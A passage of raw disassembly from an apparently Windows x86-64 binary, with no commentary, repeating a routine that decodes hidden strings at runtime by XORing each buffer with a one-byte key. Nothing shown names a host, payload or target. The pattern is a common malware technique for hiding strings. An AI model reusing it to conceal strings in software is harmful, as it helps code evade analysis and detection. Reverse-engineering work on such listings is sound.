mov byte ds:[r9 + 0x49], 0
lea rdx, [r9 + 1]
lea rcx, [rsp + 0xb0]
call fcn.140007520
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x3a0]
call fcn.14005e430
nop
lea rcx, [rsp + 0x90]
call fcn.140017c20
lea rdx, [rsp + 0x90]
call fcn.140056460
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
xor byte [rax + 0x23], dl
mov byte [r8 + 0x23], 0
mov rdx, r15
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.1400564b0
mov r9, rax
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, ds:[r8 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r9 + 1], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
lea r8, [r8 + 0x16]
lea rax, [r8 + r10]
cmp rax, 0x58
jb 0x1400531c0
mov byte ds:[r9 + 0x59], 0
lea rdx, [r9 + 1]
lea rcx, [rsp + 0x340]
call fcn.140007520
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.14005e430
nop
lea rcx, [rsp + 0x320]
call fcn.140017c20
lea rdx, [rsp + 0x90]
call fcn.140056560
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
mov byte [r8 + 0x22], 0
mov rdx, r15
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.1400565b0
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, [r11 + r8]
movzx ecx, byte [r9]
xor byte [rdx + r10], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
lea r8, [r8 + 0x1d]
lea rax, [r8 + r10]
cmp rax, 0x57
jb 0x140053380
mov byte [r11 + 0x57], 0
mov rdx, r11
lea rcx, [rsp + 0x340]
call fcn.140007520
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.14005e430
nop
lea rcx, [rsp + 0x320]
call fcn.140017c20
lea rdx, ds:[rsp + 0x90]
call fcn.140056660
lea r8, ds:[rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
mov byte [r8 + 0x21], 0
mov rdx, r15
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.1400566b0
mov r8, r12
lea rdx, [rax + 1]
nop word [rax + rax]
movzx ecx, byte [rax]
xor byte [rdx + r8], cl
movzx ecx, byte [rax]
xor byte [r8 + rax + 2], cl
add r8, 2
cmp r8, 0x56
jb 0x140053560
mov byte [rdx + 0x56], 0
lea rcx, [rsp + 0x340]
call fcn.140007520
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.14005e430
nop
lea rcx, [rsp + 0x320]
call fcn.140017c20
lea rdx, ds:[rsp + 0x90]
call fcn.140056750
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
mov byte [r8 + 0x22], 0
mov rdx, r15
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.1400567a0
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, [r11 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
lea r8, [r8 + 0x1d]
lea rax, [r10 + r8]
cmp rax, 0x57
jb 0x140053670
mov byte ds:[r11 + 0x57], 0
mov rdx, r11
lea rcx, [rsp + 0x340]
call fcn.140007520
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.14005e430
nop
lea rcx, [rsp + 0x320]
call fcn.140017c20
lea rdx, [rsp + 0x90]
call fcn.140056850
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
xor byte [rax + 0x23], dl
mov byte [r8 + 0x23], 0
mov rdx, r15
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.1400568a0
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, ds:[r11 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
lea r8, [r8 + 0x16]
lea rax, [r10 + r8]
cmp rax, 0x58
jb 0x140053860
mov byte [r11 + 0x58], 0
mov rdx, r11
lea rcx, [rsp + 0x340]
call fcn.140007520
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.14005e430
nop
lea rcx, [rsp + 0x320]
call fcn.140017c20
lea rdx, [rsp + 0x90]
call fcn.140056950
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
mov byte [r8 + 0x22], 0
mov rdx, r15
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.1400569a0
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, [r11 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
lea r8, [r8 + 0x1d]
lea rax, [r10 + r8]
cmp rax, 0x57
jb 0x140053a20
mov byte [r11 + 0x57], 0
mov rdx, r11
lea rcx, [rsp + 0x340]
call fcn.140007520
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.14005e430
nop
lea rcx, [rsp + 0x320]
call fcn.140017c20
lea rdx, ds:[rsp + 0x90]
call fcn.140056a50
lea r8, ds:[rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
mov byte [r8 + 0x21], 0
mov rdx, r15
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.140056aa0
mov r8, r12
lea rdx, [rax + 1]
nop word [rax + rax]
movzx ecx, byte [rax]
xor byte [rdx + r8], cl
movzx ecx, byte [rax]
xor byte [rax + r8 + 2], cl
add r8, 2
cmp r8, 0x56
jb 0x140053c00
mov byte [rdx + 0x56], 0
lea rcx, [rsp + 0x340]
call fcn.140007520
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.14005e430
nop
lea rcx, [rsp + 0x320]
call fcn.140017c20
lea rdx, ds:[rsp + 0x90]
call fcn.140056b40
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
xor byte [rax + 0x23], dl
mov byte [r8 + 0x23], 0
mov rdx, r15
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.140056b90
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop dword [rax]
lea rdx, [r11 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
lea r8, [r8 + 0x16]
lea rax, [r10 + r8]
cmp rax, 0x58
jb 0x140053d10
mov byte [r11 + 0x58], 0
mov rdx, r11
lea rcx, [rsp + 0x340]
call fcn.140007520
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.14005e430
nop
lea rcx, [rsp + 0x320]
call fcn.140017c20
lea rdx, ds:[rsp + 0x90]
call fcn.140056c40
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
mov byte [r8 + 0x22], 0
mov rdx, r15
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.140056c90
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, [r10 + r11]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
lea r8, [r8 + 0x1d]
lea rax, [r10 + r8]
cmp rax, 0x57
jb 0x140053ed0
mov byte ds:[r11 + 0x57], 0
mov rdx, r11
lea rcx, [rsp + 0x340]
call fcn.140007520
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.14005e430
nop
lea rcx, [rsp + 0x320]
call fcn.140017c20
lea rdx, [rsp + 0x90]
call fcn.140056d40
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
mov byte [r8 + 0x20], 0
mov rdx, r15
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.140056da0
mov r9, rax
lea r10, [rax + 1]
lea r8, [rax + 3]
sub rbx, rax
nop dword [rax]
nop word [rax + rax]
lea rdx, [r10 + rbx]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
lea r8, [r8 + 0x11]
lea rax, [rbx + r8]
cmp rax, 0x55
jb 0x1400540c0
mov byte [r10 + 0x55], 0
mov rdx, r10
lea rcx, [rsp + 0x340]
call fcn.140007520
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.14005e430
nop
lea rcx, [rsp + 0x320]
call fcn.140017c20
lea rdx, ds:[rsp + 0x90]
call fcn.140056e50
lea r8, [rax + 1]
movzx edx, byte [rax]
